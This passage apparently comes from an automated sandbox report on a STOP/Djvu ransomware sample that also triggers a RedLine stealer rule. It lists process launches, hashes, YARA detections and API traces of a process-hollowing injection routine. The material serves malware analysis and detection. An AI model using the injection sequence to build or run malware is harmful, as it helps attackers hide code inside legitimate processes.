Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:46:06
Start date:	09/01/2024
Path:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe --Task
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	15:46:10
Start date:	09/01/2024
Path:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.1442800853.00000000025AF000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:46:16
Start date:	09/01/2024
Path:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:46:18
Start date:	09/01/2024
Path:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe"
Imagebase:	0x400000
File size:	252'928 bytes
MD5 hash:	1F7EFAC73D987DAE200E36922267D8C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.1683207825.00000000009ED000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:46:18
Start date:	09/01/2024
Path:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.1516167600.000000000262A000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:46:23
Start date:	09/01/2024
Path:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:46:40
Start date:	09/01/2024
Path:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe"
Imagebase:	0x400000
File size:	252'928 bytes
MD5 hash:	1F7EFAC73D987DAE200E36922267D8C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	43.6%
Total number of Nodes:	39
Total number of Limit Nodes:	7

Executed Functions

Function 02730110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02730156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0273016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02730255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02730270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02730283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0273029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 027302C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 027302E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02730304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0273032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02730399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 027303BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 027303E1
ResumeThread.KERNELBASE(00000000), ref: 027303ED
ExitProcess.KERNEL32(00000000), ref: 02730412

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: fc01906cf43c18bfd343d3e299026d0d77703a97b23854ba747ad21ffda7ece5
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 49B1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0266B7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0266B7EE
Module32First.KERNEL32(00000000,00000224), ref: 0266B80E

Memory Dump Source

Source File: 00000000.00000002.1275132497.000000000266B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0266B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_266b000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: b27c020d45927aa75896f9d9e25a77ffcf818709df9ea97585306a14973a9aef
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 94F09631200711AFD7203BF5A88DBBE76E8EF4966DF10052CE643E25C0DB70E8458A61

Uniqueness

Uniqueness Score: -1.00%

Function 02730420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02730533

Strings

d, xrefs: 02730584
mfoaskdfnoa, xrefs: 02730520, 02730523
0, xrefs: 02730492
saodkfnosa9uin, xrefs: 027304DA

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: e0a8015279ae56f926efe2c62b2a13ac729c4f6de09797568192d6bf76052ca5
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 38510670D08388DAEB12CBA8C849BDDBFB2AF11708F144058D5487F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 027305B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 027305EC

Strings

apfHQ, xrefs: 027305E2, 027305E5
o, xrefs: 02730600

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 690325417c887239063538ea8b309dd6d43b049a715582ddc09959a7a4122ceb
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: CE012170C0425CEEDF15DBA8C5187AEBFB5AF41308F1480D9C4192B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0266B485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0266B4D6

Memory Dump Source

Source File: 00000000.00000002.1275132497.000000000266B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0266B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_266b000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 838dee89022e40d467a0d5a11d5d63d4d1a6bb46c984c294c0a27ebcc3f8e01d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 9B113C79A00208EFDB01DF98C989E99BFF5AF08350F058094F948AB361D371EA90DF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0274F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0274F0A7
_wcsstr.LIBCMT ref: 0274F14E
_strstr.LIBCMT ref: 0274F3D6
_malloc.LIBCMT ref: 0274F526
_memset.LIBCMT ref: 0274F534
_strstr.LIBCMT ref: 0274F57A
_malloc.LIBCMT ref: 0274F6F5
_memset.LIBCMT ref: 0274F703
_free.LIBCMT ref: 0274F7B5
_free.LIBCMT ref: 0274F7C2

Strings

", xrefs: 0274F640

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 02f49c5afae32ba4547d8d8ceba0a3723e2a5e1e1e96bd5d165e2bf5e11187b6
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 6742C171508380ABD721DF24DC48F9BBBE9BF85308F44092DF98997192DB75A509CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 0274A930 Relevance: 10.3, APIs: 3, Strings: 2, Instructions: 1565COMMON

Download Yara Rule

Strings

<, xrefs: 0274B01B
x2Q, xrefs: 0274B1F6

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: <$x2Q
API String ID: 2102423945-643667464
Opcode ID: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction ID: 77dab5008766dd01547ad849556212bf3317fa965825bdc8ed21e846dbac9c86
Opcode Fuzzy Hash: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction Fuzzy Hash: 99D2A0709043419BD715EF24DC98BABBBE6BF85308F40092DE88997291DF71E909CF92

Uniqueness

Uniqueness Score: -1.00%

Function 027400D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: b6accf671f3431d615cf8a26e557c5d94318c0b930f38c00f17f0fb0332e13bb
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: A2529071D00218DFDF15DFA8C888BDEBBB5BF05308F104169D919A7291EB75AA48CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0273E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 0273E72D
_wcsstr.LIBCMT ref: 0273E756
_memset.LIBCMT ref: 0273E784

Part of subcall function 0277FC0C: std::exception::exception.LIBCMT ref: 0277FC1F
Part of subcall function 0277FC0C: __CxxThrowException@8.LIBCMT ref: 0277FC34
Part of subcall function 0277FC0C: std::exception::exception.LIBCMT ref: 0277FC4D
Part of subcall function 0277FC0C: __CxxThrowException@8.LIBCMT ref: 0277FC62
Part of subcall function 0277FC0C: std::regex_error::regex_error.LIBCPMT ref: 0277FC74
Part of subcall function 0277FC0C: __CxxThrowException@8.LIBCMT ref: 0277FC82
Part of subcall function 0277FC0C: std::exception::exception.LIBCMT ref: 0277FC9B
Part of subcall function 0277FC0C: __CxxThrowException@8.LIBCMT ref: 0277FCB0

_wcsstr.LIBCMT ref: 0273EA0C
_memset.LIBCMT ref: 0273EE5C

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 6e422ad10cc88af315a269c7e4006ad7ae234558c259fa68470fec5f43707848
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: 3C52EE71E002198FCF26CF68C884BEEBBF1BF49304F144569E846AB282D771A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02740B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 7cba6081c2ba2a960b64ed7fe4a0e4688c910657ff5656d6e4197f9eb9fcdc3d
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: 52428D71D00218DBDF15EFA4C848BDEB7F5BF04308F604169D819A7291EB72AA49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0273DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: c4d4aac5ca78bae01d79bb81084f4ef90a504ad1ef45dc477c9c78ca602a7ee4
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 32526270E00249DFDB11DFA4C848FEEBBB5BF49704F148198E509AB291DB71AD45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 027B22C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 027B291E

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: b6d60d25892e592b5c801d85a6aaf7035e5c7dbbef5fa61a47318313e1ad971a
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 4F3263B1E012299ADF629F64CC44BEEB779FF45704F0041EAEA0CE6151EB748A80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 02735DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 98be85b36c573759537e3b820303327fc4a09de1fd02987b8247640a98d1b036
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: D442B071629F159BC3DAEF24C88055BF3E1FFC8218F048A1DD99997A50DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 0273A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: e2938dd3fcfd4d74e892dea1d35bd9778a5f0edce132df98effb16762a86d6b2
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 1522EFB6904B168FC714CF19D08065AF7E1FF88324F158A6EE8A9A7B11D730BA55CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02732B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 02733520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: 60637b59c658938e88e3a5b17249019a2775288b92298387507313f50e391c5e
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: F6029F711187058FC766EE1CD49035AF3E2FFC8309F19892CD68987B65E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 027389D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 3279ae96de97a2f5f5db9a76407eeabfdd49094ecefa3a7b3ce9768c9d073331
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 11C12833E2477906D764DEAF8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 0273B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 0877cc6a40176e313b5766c5ec579b46867f66fa6ab003702a016fd9aac8e96e
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 45A1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 027330F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 0273CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 9972ab3e82ac9653c715d39a29326a6c46b5e919592881b5851cdd77724a1792
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 50C19CB5E003199FCB55CFA9C881ADEFBF1FF48204F24856AE919E7301E334AA458B54

Uniqueness

Uniqueness Score: -1.00%

Function 02735DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 72a99228ea8dc6fd0617a2d6f0e7577e4b5ed8fc2a4bc12cd734b3788be53eac
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
